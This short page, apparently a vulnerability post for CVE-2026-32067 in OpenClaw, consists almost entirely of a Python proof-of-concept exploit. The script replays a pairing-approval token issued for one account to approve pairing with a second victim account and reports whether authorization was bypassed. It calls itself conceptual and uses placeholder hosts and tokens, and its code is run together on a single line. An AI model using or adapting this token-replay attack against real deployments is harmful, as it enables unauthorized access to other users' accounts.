CVE-2026-32067 OpenClaw授权绕过漏洞

# PoC for CVE-2026-32067 # This script demonstrates how an attacker might reuse pairing approvals across accounts. # Note: This is a conceptual demonstration based on the vulnerability description. import requests TARGET_URL = "https://target-openclaw-instance.com/api/pair" # 1. Assume the attacker has obtained a valid pairing approval token from Account A # This token was legitimately issued for 'attacker_account' pairing with 'victim_account_A' stolen_token = "a0c5e28f3bf0cc0cd9311f9e9ec2ca0352550dcf" # 2. Attacker tries to pair with a different, target Account B using the stolen token payload = { "target_account": "victim_account_B", "sender_account": "attacker_account", "pairing_token": stolen_token, # Reusing the token from Account A "action": "approve_pairing" } headers = { "Content-Type": "application/json", "Authorization": "Bearer <attacker_session_token>" } try: response = requests.post(TARGET_URL, json=payload, headers=headers) if response.status_code == 200: print("[+] Success! Authorization bypassed. Access granted to victim_account_B.") else: print("[-] Failed. Server response:", response.text) except Exception as e: print("[!] Error:", str(e))